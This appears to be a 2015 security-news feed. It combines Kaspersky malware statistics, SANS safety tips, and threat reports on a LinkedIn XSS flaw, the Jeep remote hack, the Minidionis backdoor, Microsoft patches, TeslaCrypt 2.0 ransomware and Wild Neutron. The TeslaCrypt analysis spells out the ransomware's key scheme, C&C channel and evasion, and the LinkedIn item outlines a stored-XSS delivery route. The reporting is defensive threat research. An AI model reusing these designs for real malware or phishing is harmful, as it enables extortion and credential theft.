In Q2 2015, Russia, which was second in the first quarter, regained its top position in the ranking. Since the previous quarter, UAE, Latvia, Tajikistan, Tunisia and Bulgaria have left the Top 20. The newcomers to the rankings were Syria, which rocketed to fourth place (34.36%); Thailand, which was in seventh place (31.56%); Vietnam, in tenth place (30.83%); China (27.70%) and Macedonia (26.67%), which occupied 16th and 18th places respectively.

23.9% of computers connected to the Internet globally were subjected to at least 1 web attack in Q2 #KLReport

Tweet

The countries with the safest online surfing environments included Argentina (13.2%), the Netherlands (12.5%), Korea (12.4%), Sweden (11.8%), Paraguay (10.2%) and Denmark (10.1%).

On average, 23.9% of computers connected to the Internet globally were subjected to at least one web attack during the three months.

Local threats

Local infection statistics for users computers are a very important indicator: they reflect threats that have penetrated computer systems using means other than the Internet, email, or network ports.

Data in this section is based on analyzing statistics produced by antivirus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media.

In Q2 2015, Kaspersky Lab’s file antivirus modules detected 110,731,713 unique malicious and potentially unwanted objects.

Top 20 malicious objects detected on users computers   Name* % unique users attacked** 1 DangerousObject.Multi.Generic 22.64% 2 Trojan.Win32.Generic 15.05% 3 Trojan.WinLNK.StartPage.gena 8.28% 4 AdWare.Script.Generic 7.41% 5 Adware.NSIS.ConvertAd.heur 5.57% 6 WebToolbar.Win32.Agent.azm 4.48% 7 WebToolbar.JS.Condonit.a 4.42% 8 Trojan-Downloader.Win32.Generic 3.65% 9 Downloader.Win32.MediaGet.elo 3.39% 10 Trojan.Win32.AutoRun.gen 3.29% 11 Downloader.Win32.Agent.bxib 3.26% 12 WebToolbar.JS.CroRi.b 3.09% 13 RiskTool.Win32.BackupMyPC.a 3.07% 14 Virus.Win32.Sality.gen 2.86% 15 Worm.VBS.Dinihou.r 2.84% 16 WebToolbar.Win32.MyWebSearch.si 2.83% 17 DangerousPattern.Multi.Generic 2.75% 18 AdWare.NSIS.Zaitu.heur 2.70% 19 AdWare.BAT.Clicker.af 2.67% 20 AdWare.Win32.MultiPlug.heur 2.54%

* These statistics are compiled from malware detection verdicts generated by the on-access and on-demand scanner modules on the computers of those users running Kaspersky Lab products who have consented to submit their statistical data.
** The proportion of individual users on whose computers the antivirus module detected these objects as a percentage of all individual users of Kaspersky Lab products on whose computers a file antivirus detection was triggered.

In line with the established practice, this ranking represents the verdicts assigned to adware programs or their components (such as AdWare.BAT.Clicker.af), and to worms distributed on removable drives.

The only virus in the rankings – Virus.Win32.Sality.gen – continues to lose ground. The proportion of user machines infected by this virus has been diminishing for a long time. In Q2 2015, Sality was in 14th place with 2.86%, a 0.32% decrease compared to the previous quarter.

Countries where users faced the highest risk of local infection

For each of the countries, we calculated the percentage of Kaspersky Lab product users on whose computers the file antivirus was triggered during the quarter. These statistics reflect the level of personal computer infection in different countries.

Top 20 countries with the highest levels of computer infection

  Country* % unique users** 1 Bangladesh 60.53% 2 Vietnam 59.77% 3 Pakistan 58.79% 4 Mongolia 58.59% 5 Georgia 57.86% 6 Somali 57.22% 7 Nepal 55.90% 8 Afghanistan 55.62% 9 Algeria 55.44% 10 Armenia 55.39% 11 Russia 54.94% 12 Laos 54.77% 13 Iraq 54.64% 14 Kazakhstan 54.23% 15 Syria 53.00% 16 Tunisia 53.75% 17 Ethiopia 53.44% 18 Ruanda 53.17% 19 Ukraine 53.01% 20 Cambodia 52.88%

These statistics are based on the detection verdicts returned by on-access and on-demand antivirus modules, received from users of Kaspersky Lab products who have consented to provide their statistical data. The data include detections of malicious programs located on users’ computers or on removable media connected to the computers, such as flash drives, camera and phone memory cards, or external hard drives.

* These calculations exclude countries where the number of Kaspersky Lab users is relatively small (fewer than 10,000 users).
** The percentage of unique users in the country with computers that blocked local threats as a percentage of all unique users of Kaspersky Lab products.

In Q2 2015, Bangladesh (60.53%) took the lead as the country with the highest level of computer infection, pushing down Vietnam which has headed the rating for almost two years. Pakistan (58.79%) rocketed from 13th position in the previous quarter to 3rd place in Q2.

The newcomers in the rankings were Georgia (5th position with 57.8%), Russia (11th position with 55%), Tunisia (16th position with 53.7%) and Ukraine (19th position with 53%).

An average of 40% of computers globally faced at least 1 local threat during Q2 2015 #KLReport

Tweet

The safest countries in terms of local infection risks were Sweden (19.7%), Denmark (18.4%) and Japan (15.5%).

An average of 40% of computers globally faced at least one local threat during Q2 2015, which is 0.2% percentage points more than in Q1 2015.

Trust Your Instincts

SANS Tip-of-the-Day - Wed, 07/29/2015 - 21:59
Ultimately, common sense is your best protection. If an email, phone call or online message seems odd, suspicious or too good to be true, it may be an attack.

Mobile Apps

SANS Tip-of-the-Day - Mon, 07/27/2015 - 22:11
Only install mobile apps from trusted places, and always double-check the privacy settings to ensure you are not giving away too much information.

Lock Your Mobile Devices

SANS Tip-of-the-Day - Sun, 07/26/2015 - 21:46
The number one step for protecting your mobile device is making sure it has a strong passcode or password lock on it so only you can access it.

Protecting Your Social Media Account

SANS Tip-of-the-Day - Fri, 07/24/2015 - 14:52
Bad guys are targeting your social media accounts. One of the most effective ways you can protect them is with a unique, strong password called a passphrase. Enabling two-step verification (if your social media site offers it) is even better.

Back up Your Files

SANS Tip-of-the-Day - Fri, 07/24/2015 - 14:52
Eventually, we all have an accident or get hacked. And when we do, backups are often the only way to recover. Backups are cheap and easy; make sure you are backing up all of your personal information (such as family photos) on a regular basis.

Cloud Security

SANS Tip-of-the-Day - Fri, 07/24/2015 - 14:52
One of the most effective steps you can take to protect your cloud account is to make sure you are using two-step verification. In addition, always be sure you know exactly whom you are sharing files with. It is very easy to accidently share your files with the entire Internet when you think you are only sharing them with specific individuals.

Kaspersky researchers warns Linkedin from potential spear phishing

Malware Alerts - Thu, 07/23/2015 - 07:59

On November 14, 2014, security researchers from Kaspersky Lab warned LinkedIn, the world’s largest business-oriented social network, about a security issue that could pose a major threat to its 360+ million users. Because LinkedIn attracts so many people in the business community, a security flaw such as this one could help attackers to efficiently execute spear phishing campaigns, steal credentials and potentially gain remote control over selected victims without needing to resort to social engineering.

Linkedin engaged to remediate the threat and had since issued a fix to the vulnerable platform.

“While certain HTML content should be restricted and we have issued a fix and thanked Kaspersky researchers; the likelihood of exploit on popular modern email platforms is unlikely.” says David Cintz, Senior Technical Program Manager at Linkedin security ecosystem.

Researchers found the vulnerability after noticing escape character differences when posting comments from different devices in various posts. The second alert was a malfunction in the platform’s back-end parser that simply interpreted a CRLF (“Enter” keystroke) to an HTML tag <br />, appending it to the post as text. The two were not connected to each other, but they both raised important questions.

Although it may sound like not that big of a deal, a tiny malfunction like this attracts the attention of attackers. Looking at those two behaviors, researchers were convinced that something was not right. It seems like no one had noticed it. It took a trained eye to assemble the pieces of the puzzle.

ENTER keystroke being interpreted to plain-text <br /> element

Submitting multiple posts from a web browser had successfully imitated part of the behavior of the escape character differences, but there was no lead on how to bypass the anti-Cross-site Scripting (XSS) engine and generate an attack.

Further research led to a major discovery. There was a reason why the output from one device was not encoded the same as the other.

Submitting comments with HTML tags from the web platform generated %3C as the less-than character, while the same input from a mobile device was encoded to &lt;. Further inspections led to the presence of two different platforms. But that did not mean that the web platform was vulnerable. Or did it?

Another interesting insight was that every comment to a post is sent via an email platform to all other users who were part of the thread. The differences in the body of that email confirmed our suspicions. The following screenshots illustrate the two scenarios:

A comment posted from the website with a proper escape

A comment posted from the mobile application without an escape

That proved that two different email platforms exist and that mobile notifications could help to deliver a malicious payload without any user-supplied input validations.

Signed email bounced from Linkedin regardless of its content

Social platforms are a big target for hackers. Companies in general are hit by white hat hackers on a daily basis, trying to get a piece of the internet security pie. But what if a black hat hacker finds the issue?

Looking at the following chart, we can assess how this type of security issue might give an attacker a big chunk of the solution to the problem of how to distribute malicious software under the guise of a legitimate social platform notification.

Generic Malware Distribution Cycle

Malware authors invest a lot of time in achieving each of these milestones. Every step has a big impact on the overall outcome: solid programming that can adapt to multiple systems/devices, packers and binders, obfuscation and encryption, combining reconnaissance with the right distribution method and finding the right zero-day or exploit to remotely control the system.

To save valuable time, attackers find clever ways to approach authors and purchase their needs for each milestone, as if they were goods in a store. Finalizing the shopping list to cook up this type of attack might cost a lot. A business-oriented social platform that gives details of millions of business men and women, along with their titles, colleagues, career information and more, could be extremely valuable. It’s not difficult to target a user, and exploiting that information is just a single comment away.

Choose your victim

Injecting a malicious comment into a user’s post thread will automatically launch a notification to his email account, regardless of the email provider or connection hierarchy between the victim and the attacker.

Although it seems that the application server had escaped the dangerous characters, the payload is only escaped from the main application. The email template is sent as it is.

Injecting malicious payload via mobile application

In the worst case scenario, if an email provider fails to properly escape the content of an incoming email, the attacker can leverage the issue to execute a malicious JavaScript injection attack, also known as Stored XSS.

Another scenario might involve using an associated HTML form to collect information about the victim or redirect the victim to a site where a malicious executable can be downloaded.

Example scenario – stealing credentials

Last November Kaspersky Lab researchers contacted Linkedin’s security team, and informed them about the issue. The platform was fixed and the threat has been mitigated.

How to prevent yourself from becoming a victim:

  1. Use an advanced Internet Security solution to filter out dangerous redirections to servers that contain malware, phishing and more. If a solution is already installed, keep it updated at all times.
  2. Opening an attachment or following a link in an email – even from a known party – might contain malicious content. Be very wary before making the decision to open it.
  3. Do not register to social platforms with your corporate email account.

Acknowledges:

Jonathan Jaquez – CEO, Mageni.net

David Cintz – Sr. Technical Program Manager, Linkedin

Zero day exploits: now available for cars

Malware Alerts - Thu, 07/23/2015 - 06:18

The day before yesterday was an important day for the information security industry. Investigators announced exploitation of the first ever 0-day vulnerability for cars. The wireless attack was demonstrated on a Jeep Cherokee.

Charlie Miller and Chris Valasek found the vulnerability in the onboard computer of the car. People have been talking for a long time about attacks on such systems if the attackers have access to a diagnostics jack. However a remote attack on a car’s critical systems remained a purely theoretical scenario about which experts have warned for a long time (including experts from Kaspersky Lab). Many hoped that the car manufacturers would recognise the risk of such vulnerabilities being exploited and take preventive measures. Well, we overestimated them.

The investigators gained access through the onboard entertainment system not only to non-critical settings but also the car’s controls like brakes and accelerator. The investigators plan to publish the technical details of the hack in August but the overall scheme of things is already known.

Car Hack

To start with, the air conditioner, radio and windscreen wipers went crazy and the driver could do nothing about it. And then the car itself. The accelerator and brakes of the Jeep responded only to the remote investigators and not to the car’s owner at the wheel.

It is important here to note that the car had not been modified. All the above was carried out using a vulnerability in the onboard Uconnect system, which handles contact with the outside world via the infrastructure of the Sprint cell operator in cars of the FCA auto-group (Chrysler, Dodge, Fiat, Jeep and Ram). It is enough to know the external IP-address of the victim to rewrite the code in the head unit of the car (more about these units a bit later).

The company has already released a patch for Uconnect, which can be installed either at official dealers, or, for the technically minded, independently via a USB-port. At the moment the investigators can see a vehicle’s VIN, GPS coordinates and IP address by connecting to the Sprint network and using the 0-day exploit they found. By the way, to find the specific vehicle among the 471 thousand vehicles with Uconnect on board is, according to the investigators, rather difficult.

A conceptual defence

This is not the first incident showing the insufficient safety mechanisms built in to modern cars as standard. Before this we saw the local seizure of the steering through the OBD-II diagnostic port and an illicit software update through a false cell base station.

Both the operating system manufacturers and the car manufacturers are now implementing important and necessary but insufficient cyber security measures. The situation is made worse by the fact that the architecture of the onboard electronic networks of vehicles was developed in the 80s, when the idea that a car would be connected to the Internet was something out of science fiction. And, consequently, although the electronic components are reliable and functionally safe the same can not be said about their cyber-security. Here at Kaspersky Lab, as in the case with conventional computer networks, we are convinced that complete multi-level safety will only be achieved by a combination of the right architecture, developed taking into account all risks, including cyber-risks, the correct setup of pre-established equipment and the use of specialised solutions.

Architecture

The Kaspersky Lab approach is based on two fundamental architectural principles: isolation and controlled communications.

Isolation guarantees that two independent entities can in no way affect each other. For example, entertainment applications will not be able to affect the technical network. Not on board an aircraft and not in a car.

Control of communications guarantees that two independent entities which should work together for the system to function will do so strictly in accordance with the safety and security policy. For instance the system for acquisition of telemetry and sending it to the service centre can only read data about the condition of the car but not transfer control signals. This sort of control would have been of great help to our Jeep owner.

The use of cryptography and authentication for the transfer and receipt of information within and from outside are also indispensable parts of a protected system. But, judging by the results of the investigators, Jeep either used weak vulnerable algorithms or the cryptography was implemented with errors or not implemented at all.

The described approach — isolation and control of communications – comes naturally to a micro-kernel operating system with controlled inter-process interaction. Each logical domain has its own address space and all contact between domains is always carried out via a safety monitor.

Products

Of the onboard electronics controlling critically important functions of the vehicle and theoretically open to attack the key elements are the head unit (HU) and the electronic control units (ECU), which form a whole network of controllers. There are control blocks for the engine, transmission, suspension etc.

Head units work on real time operating systems (RTOS) such as QNX, VxWorks and others. Kaspersky Lab intends to offer its own protected operating system for head units after obtaining the necessary certificates.

Both of the architectural principles mentioned above (isolation and control of communications) are fundamental principles of KasperskyOS — a safe micro-kernel operating system with controlled inter-process interaction.

The operating system was created from scratch and security was its main priority from the word go. This is the main difference between our product and the operating systems now installed in cars. We called a key component of our safe operating system the Kaspersky Security System (KSS)

During operation this system has responsibility for calculating a verdict on the security of any given event happening in the system. On the basis of this verdict the kernel of the operating system takes a decision to allow or block the event or inter-process communication. With the help of the KSS it is possible to control any activity — access to ports, files, network resources via specific applications etc. At the moment KSS works on PikeOS and Linux.

The software on the electronic control blocks is only small blocks of code and for these Kaspersky Lab intends to cooperate with microelectronics firms to jointly guarantee the safety of this embedded software.

In place of a conclusion

We really don’t want to deny ourselves the comforts which the computerisation of cars has brought. However if car manufacturers don’t start taking the problem of the cyber-security of their Internet-connected cars seriously and don’t start demanding that car component manufacturers do the same then people who are concerned about safety will have to switch to classic cars. Yes old cars don’t have computers. Yes they don’t have computer-controlled fuel injection, navigation systems, climate control and other modern gadgets. But on the other hand they only obey the person at the wheel.

Protecting Your Social Media Account

SANS Tip-of-the-Day - Tue, 07/21/2015 - 21:35
Bad guys are targeting your social media accounts. One of the most effective ways you can protect them is with a unique, strong password called a passphrase. Enabling two-step verification (if your social media site offers it) is even better.

Back up Your Files

SANS Tip-of-the-Day - Mon, 07/20/2015 - 22:44
Eventually, we all have an accident or get hacked. And when we do, backups are often the only way to recover. Backups are cheap and easy; make sure you are backing up all of your personal information (such as family photos) on a regular basis.

Cloud Security

SANS Tip-of-the-Day - Sun, 07/19/2015 - 23:27
One of the most effective steps you can take to protect your cloud account is to make sure you are using two-step verification. In addition, always be sure you know exactly whom you are sharing files with. It is very easy to accidently share your files with the entire Internet when you think you are only sharing them with specific individuals.

Minidionis – one more APT with a usage of cloud drives

Malware Alerts - Thu, 07/16/2015 - 05:12

Yesterday our colleagues from Paloalto networks presented a research uncovering Minidionis (also known by the Kaspersky codename – “CloudLook”). It’s an another backdoor from APT group responsible for other attacks such as CozyDuke , MiniDuke, and CosmicDuke.

Analyzing this malware we noticed that attackers implemented a capability of cloud drive usage to store malware samples and downloading them on infected systems. Almost one year ago, we observed another APT group codenamed “CloudAtlas” (link), also using cloud drives to store the stolen information. And now we see a similar technique in CloudLook/Minidionis.

Minidionis uses multidropper scheme to infect it victims. Usually attacker’s uses spear-phishing emails with a self-extracting archive pretending to be a voicemail. When victim opens an archive the second stage dropper executes and a .wav file plays looking like a real voicemail. Also attackers were using a self-extracting archive containing a PDF file luring it’s victims with information regarding world terrorism:

After successful execution the second stage dropper of Minidionis malware uses Onedrive cloud storage to download payload from:

The malware maps an Onecloud storage drive as network drive using hardcoded login and password, and then copies files that stored in cloud to the local system:

Could this approach become a mainstream? It’s quite possible, because it gives the attackers a simple method of hiding malicious behavior – detection of to-the-cloud malicious traffic is more complicated as it means also blocking legitimate services.

According to Kaspersky Security Network, every single attack using Minidionis/CloudLook backdoors was specifically crafted for a particular target. This indicates that the attacks are highly customized and focused on value targets. So far, we’ve observed several targets, most notably in diplomatic organizations from Europe.

Kaspersky Lab detects all known samples of Minidionis/CloudLook as Trojan.Win32.Generic, and successfully protects its users against the threat.

Use Caution Opening Email Attachments

SANS Tip-of-the-Day - Wed, 07/15/2015 - 22:47
A common method cyber criminals use to hack into people�s computers is to send them emails with infected attachments. People are tricked into opening these attachments because they appear to come from someone or something they know and trust. Only open email attachments that you were expecting. Not sure about an email? Call the person to confirm they sent it.

Securely Deleting Files

SANS Tip-of-the-Day - Tue, 07/14/2015 - 22:01
When you delete a file, that file is actually still on your computer. The only way you can truly and securely remove a file is by wiping it or using some type of secure deletion.

Microsoft Security Updates July 2015

Malware Alerts - Tue, 07/14/2015 - 17:03

Microsoft releases a long list of updates to multiple technologies today with 14 Security Bulletins (MS15-058, MS15-065 – MS15-077) patching 58 vulnerabilities, and at least 47 of them reported through a a responsible disclosure channel. Meanwhile, several are being used and detected ITW as a part of limited targeted attacks, like the Microsoft Office RCE cve-2015-2424, ATMFD.DLL EoP cve-2015-2387, and the Internet Explorer JScript9 RCE cve-2015-2419. Some were the result of breach leaks as well. A number of these have a very attractive offensive utility to defend against, so expect to see these exploits being used and re-used. Most of the July updates fall under two main categories, and the updated technologies are listed below. All of the Windows versions from Windows 7 and up maintain a critical RCE vulnerability of one sort or another. Update ASAP.

Remote code execution vulnerabilities

  • Windows Server Hyper-V
  • Windows DLL Handling
  • SQL Server
  • Internet Explorer
  • VBScript Engine
  • Remote Desktop Protocol (RDP)
  • Microsoft Office

Elevation of privilege vulnerabilities

  • Windows Graphics Component
  • Windows Kernel (win32k.sys)
  • Windows Installer Service
  • OLE
  • Windows Remote Procedure Call Service
  • Windows ATM Font Driver
  • SQL Server

Vulnerabilities falling under other categories like XSS filter bypass, information disclosure, ASLR bypass, authentication spoofing

  • Internet Explorer
  • Microsoft Excel
  • Netlogon
  • Windows Kernel (win32k.sys)

The most interesting of these vulnerabilities includes the RDP RCE and the Hyper-V RCE. The RDP vulnerability affects even the stripped down Windows Server 2012 Server Core installation, and seems to have been reported by an anonymous source unusually wanting no credit for a remotely exploitable critical vulnerability for a service that is often externally exposed. While Microsoft is doubtful that remote code execution is reliable, they at least acknowledge the possibility. In the past, their denial had been corrected by researchers on the potential for heap feng shei leading to exploitation of certain services, including the 2010 bug in their IIS FTPsvc.

Another couple are the Hyper-V RCE, which are buffer overflow cve-2015-2361 in the Storvsp.sys driver and an unusual “data structure vulnerability” cve-2015-2362 present in Vmicrdv.dll, Vmicvss.dll, Vmicshutdown.dll, Vmictimesync.dll, Vmicheartbeat.dll, and Vmickvpexchange.dll, available across Windows Hyper-V on Windows Server 2008, Windows Server 2008 R2, Windows 8 and Windows Server 2012, and Windows 8.1 and Windows Server 2012 R2. These were both found by an internal Microsoft engineer. Much like the Cloudburst exploit from years ago on VMWare, these enable code with execution escape from a virtual guest operating system into the host system.

Full list of July cve being updated here:

cve-2015-1729
cve-2015-1733
cve-2015-1738
cve-2015-1761
cve-2015-1762
cve-2015-1763
cve-2015-1767
cve-2015-2361
cve-2015-2362
cve-2015-2363
cve-2015-2364
cve-2015-2365
cve-2015-2366
cve-2015-2367
cve-2015-2368
cve-2015-2369
cve-2015-2370
cve-2015-2371
cve-2015-2372
cve-2015-2373
cve-2015-2374
cve-2015-2375
cve-2015-2376
cve-2015-2377
cve-2015-2378
cve-2015-2379
cve-2015-2380
cve-2015-2381
cve-2015-2382
cve-2015-2383
cve-2015-2384
cve-2015-2385
cve-2015-2387
cve-2015-2388
cve-2015-2389
cve-2015-2390
cve-2015-2391
cve-2015-2397
cve-2015-2398
cve-2015-2401
cve-2015-2402
cve-2015-2403
cve-2015-2404
cve-2015-2406
cve-2015-2408
cve-2015-2410
cve-2015-2411
cve-2015-2412
cve-2015-2413
cve-2015-2414
cve-2015-2415
cve-2015-2416
cve-2015-2417
cve-2015-2419
cve-2015-2421
cve-2015-2422
cve-2015-2424
cve-2015-2425

TeslaCrypt 2.0 disguised as CryptoWall

Malware Alerts - Tue, 07/14/2015 - 06:59

The TeslaCrypt family of ransomware encryptors is a relatively new threat: its samples were first detected in February 2015. Since then the malware has been widely portrayed in mass media as the ‘curse’ of computer gamers because it targets many game-related file types (game saves, user profiles, etc.). The Trojan’s targets have included people in the US, Germany, Spain and other countries.

TeslaCrypt is still in the active development phase: in the past months, its appearance, the name shown to victims (the malware can mimic CryptoLocker and has used the names TeslaCrypt and AlphaCrypt), extensions of encrypted files (.ecc, .ezz, .exx), as well as implementation details, have all changed.

Kaspersky Lab recently discovered the latest version of the Trojan – TeslaCrypt 2.0. This version is different from previous ones in that it uses a significantly improved encryption scheme, which means that it is currently impossible to decrypt files affected by TeslaCrypt. It also uses an HTML page instead of a GUI. Incidentally, the HTML page was copied from another Trojan – Cryptowall.

Kaspersky Lab products detect malware from the TeslaCrypt family as Trojan-Ransom.Win32.Bitman. The latest version of the Trojan that is discussed in this paper is detected as Trojan-Ransom.Win32.Bitman.tk, its MD5-hash: 1dd542bf3c1781df9a335f74eacc82a4

Evolution of the threat

Each TeslaCrypt sample has an internal version of the malware. The first sample we found was version 0.2.5. It had borrowed its graphical interface, including the window header, from another encrypting ransomware program – CryptoLocker.

TeslaCrypt 0.2.5

By version 0.4.0, the developers of TeslaCrypt had completely changed the malware’s appearance.

TeslaCrypt 0.4.0

The following features of the malware family remain the same, regardless of the version:

  • The Trojan independently generates a new, unique Bitcoin address and a private key for it. The address is used both as a victim ID and to receive payments from the victim.
  • The AES-256-CBC algorithm is used to encrypt files; all files are encrypted with the same key.
  • Files larger than 0x10000000 bytes (~268 MB) are not encrypted.
  • C&C servers are located on the Tor network; the malware communicates with the C&Cs via public tor2web services.
  • Files encrypted by the malware include many extensions matching files used in computer games.
  • The Trojan deletes shadow copies.
  • In spite of the scary stories about RSA-2048 shown to victims, this encryption algorithm is not used by the malware in any form.
  • The Trojan was written in C++, built using Microsoft’s compiler, with cryptographic algorithm implementation taken from the OpenSSL library.
Notable facts
  • Early versions of TeslaCrypt (0.2.5 – 0.3.x) were designed to check whether a bitcoin payment had been successfully made on the site http://blockchain.info. If the payment was received, the malware reported this to the command server and received a key to decrypt the files. This scheme was vulnerable, since an expert could send a request to the C&C and get the necessary key without making a payment.
  • Versions 0.2.5 – 0.3.x saved the decryption key (with other data) in their own service file, key.dat. The area containing the key was zeroed out in the file only after completing encryption, making it possible to save the key by interrupting the encryptor’s operation (e.g., by turning off the computer). After this, the key could be extracted from key.dat and used to decrypt all files.
  • In version 0.4.0 the file key.dat was renamed to storage.bin, and the decryption key was not stored openly but as a multiplicative inverse modulo the order of the standard elliptic curve secp256k1. On completing encryption, the key was overwritten with random bytes rather than zeros, but it was still possible to extract the key before the area was overwritten. This was implemented in our RakhniDecryptor utility.
The present

Recently a sample of the Trojan with internal version 2.0.0 caught our attention. So what was different this time?

The first thing that caught the eye was that TeslaCrypt no longer has code responsible for rendering the GUI (the application window). Instead, after encrypting the files the Trojan opens an HTML page in the browser. The page was fully copied from another infamous ransomware program – CryptoWall 3.0.

The page that opens when a victim follows one of the links provided by the cybercriminals is also identical to the CryptoWall payment page, with one exception: the URLs lead to a TeslaCrypt server – the authors of the malware were certainly not going to let their rivals get their victims’ money.

TeslaCrypt initializes a string with text about CryptoWall

Why use this false front? We can only guess – perhaps the attackers wanted to impress the gravity of the situation on their victims: files encrypted by CryptoWall still cannot be decrypted, which is not true of many TeslaCrypt infections.

In any event, this is not the only change from the previous version of TeslaCrypt. The encryption scheme has been improved again and is now even more sophisticated than before. Keys are generated using the ECDH algorithm. The cybercriminals introduced it in versions 0.3.x, but in this version it seems more relevant because it serves a specific purpose, enabling the attackers to decrypt files using a ‘master key’ alone. More about this in due course.

The TeslaCrypt 2.0 encryption scheme Generation of key data

The Trojan uses two sets of keys – ‘master keys’ that are unique for each infected system and ‘session keys’ that are generated each time the malware is launched on the system.

Master key generation

Let Q be a standard secp256k1 elliptic curve (“SECG curve over a 256 bit prime field”) and G be the generator of a cyclic subgroup of points on this curve.

Let malware_pub be the attackers’ public key contained in the Trojan’s body (it is a point on the Q curve, stored as two separate coordinates – x and y).

When infecting a system, the Trojan generates:

  • install_id – the infection identifier – a random 8-byte sequence.
  • master_btc_priv – the private master key – a random 32-byte sequence, which is sent to the C&C.
  • master_btc_pub = master_btc_priv * G (point on the curve) – the public master key; stored in encrypted files.
  • btc_address – a bitcoin address used to receive the ransom payment – generated using the standard Bitcoin algorithm, based on master_btc_pub.
  • master_ecdh_secret = ECDH(malware_pub, master_btc_priv) – a “shared master key”, required for decryption if master_btc_priv is lost or does not reach the C&C; not saved anywhere in this form.
  • master_ecdh_secret_mul = master_ecdh_secret * master_btc_priv – a number that can be used to recover master_btc_priv; stored in the system.

Note
master_btc_priv (in accordance with the Bitcoin operating principle) is a private key that is needed to ‘withdraw’ the Bitcoins sent to the newly created address btc_address.

Session key generation

Every time it is launched (when first infecting a computer or, e.g., after a reboot), the Trojan generates new copies of:

  • session_priv – a private session key – random 32 bytes. Used to encrypt files, not saved anywhere
  • session_pub = session_priv * G – a public session key. Stored in encrypted files.
  • session_ecdh_secret = ECDH(master_btc_pub, session_priv) – a “shared session key” – needed to decrypt files, not saved anywhere in this form.
  • session_ecdh_secret_mul = session_ecdh_secret * session_priv – a number that can be used to recover session_ecdh_secret. Stored in encrypted files.
Key data saved in the system

Unlike previous version of the malware, TeslaCrypt 2.0.0 does not use key.dat or storage.bin to store data. Instead, it uses the system registry: an install_id value is stored in HKCU\Software\msys\ID, and the following structure is added to HKCU\Software\<install_id>\data:

In the familiar syntax of the C programming language, the structure can be described as follows:

Here is what it looks like on an infected system:

File encryption

Starting from version 0.3.5, TeslaCrypt affects both regular drives connected to the system and all file resources available on the network (shares), even if they are not mounted as drives with letters of their own. Few other encryptors can boast this functionality.

Each file is encrypted using the AES-256-CBC algorithm with session_priv as a key. An encrypted file gets an additional extension, “.zzz”. A service structure is added to the beginning of the file, followed by encrypted file contents. The structure has the following format:

The same structure in C language syntax:

File decryption

The authors of TeslaCrypt 2.0.0 completely removed the file decryption feature that was present in earlier versions of the malware. Based on analyzing the encryption scheme described above, we can suggest the following algorithms for decrypting the files:

  1. If master_btc_priv is known, do the following:

    • Read session_pub from the encrypted file;
    • Calculate session_ecdh_secret = ECDH(session_pub, master_btc_priv);
    • Read session_ecdh_secret_mul from the encrypted file;
    • Calculate session_priv = session_ecdh_secret_mul / session_ecdh_secret;
    • Decrypt the file using the session_priv key.
  2. If master_btc_priv is unknown, but malware_priv is known (and the only people who know it are the cybercriminals who added the corresponding malware_pub to the Trojan’s body):

    • Read master_btc_pub from the registry or encrypted file;
    • Calculate master_ecdh_secret = ECDH(master_btc_pub, malware_priv);
    • Read master_ecdh_secret_mul from the encrypted file
    • Calculate master_btc_priv = master_ecdh_secret_mul / master_ecdh_secret;
    • With master_btc_priv known, perform the steps from item 1.

To get a full understanding of the subject matter, it is worth reading about the Diffie-Hellman algorithm and ECDH – its version for elliptic curves. For example, this is a good resource.

Other features Evading detection

The Trojan implements a detection evasion technique based on using COM objects. We first saw it used in TeslaCrypt version 0.4.0, but since then it has been slightly modified. Pseudocode generated based on version 2.0.0 looks like this:

C&C communication

The Trojan’s sample contains a static list of C&C addresses. The servers are actually on the Tor network, but communication with them is carried out through the Web using tor2web services.

Before TeslaCrypt version 0.4.1, server requests were sent in plaintext; in subsequent versions they were encrypted using the AES-256-CBC algorithm, with a SHA256 hash of a static string from the malicious program’s body used as a key.

The pseudocode screenshot below shows the process of creating an HTTP request to be sent by the Trojan when infecting a system.

Distribution

Malware from the TeslaCrypt family is known to be distributed using exploit kits such as Angler, Sweet Orange and Nuclear. This method of distributing malware works as follows: when a victim visits an infected website, an exploit’s malicious code uses vulnerabilities in the browser (usually in plugins) to install target malware in the system.

Geographical distribution of users attacked by malware from the TeslaCrypt family

Recommendations

To protect data from encrypting ransomware, we advise users to backup all their important files regularly. Backup copies should be stored on drives that can only be written to as part of the process of backing up data. For example, home users can use external hard drives, physically disconnecting them from the computer immediately after creating backup copies.

Promptly updating software (particularly browser plugins and the browser itself) is also extremely important, since vendors are always striving to close any vulnerabilities that are exploited by cybercriminals.

If malware did find its way into the system, an up-to-date antivirus product with updated databases and activated protection modules can help to stop it from doing any harm. This is especially true of the proactive protection module, which is the last line of defense against 0-day threats.

Plugins

SANS Tip-of-the-Day - Sun, 07/12/2015 - 23:38
Every plugin or add-on you install in your browser can expose you to more danger. Only install the plugins you need and make sure they are always current. If you no longer need a plugin, disable or remove it from your browser via your browser's plugin preferences.

Wild Neutron – Economic espionage threat actor returns with new tricks

Malware Alerts - Wed, 07/08/2015 - 09:04

Indicators of Compromise (IOC)

A powerful threat actor known as “Wild Neutron” (also known as “Jripbot” and “Morpho”) has been active since at least 2011, infecting high profile companies for several years by using a combination of exploits, watering holes and multi-platform malware.

The latest round of attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit.

Wild Neutron hit the spotlight in 2013, when it successfully infected companies such as Apple, Facebook, Twitter and Microsoft. This attack took advantage of a Java zero-day exploit and used hacked forums as watering holes. The 2013 incident was highly publicized and, in the aftermath, the threat actor went dark for almost one year.

#WildNeutron is a powerful entity engaged in espionage, possibly for economic reasons

Tweet

In late 2013 and early 2014 the attacks resumed and continued throughout 2015. Targets of the new attacks include:

  • Law firms
  • Bitcoin-related companies
  • Investment companies
  • Large company groups often involved in M&A deals
  • IT companies
  • Healthcare companies
  • Real estate companies
  • Individual users

The focus of these attacks suggests this is not a nation-state sponsored actor. However, the use of zero-days, multi-platform malware as well as other techniques makes us believe it’s a powerful entity engaged in espionage, possibly for economic reasons.

Older (2013) campaigns

During the 2013 attacks, the Wild Neutron actor successfully compromised and leveraged the website www.iphonedevsdk[.]com, which is an iPhone developers forum.

The attackers injected a script into the forum that redirected visitors to another website (min.liveanalytics[.]orgcurrently SINKHOLED by Kaspersky Lab) that hosted a Java zero-day exploit. A similar attack was also found in another forum dedicated to Linux developers: fedoraforum[.]org. For a more detailed analysis of these 2013 attacks, see Eric Romang’s blog.

Other forums compromised by the Wild Neutron group and identified by reports from the Kaspersky Security Network include:

  • expatforum.com
  • mygsmindia.com
  • forum.samdroid.net
  • emiratesmac.com
  • forums.kyngdvb.com
  • community.flexispy.com
  • ansar1.info

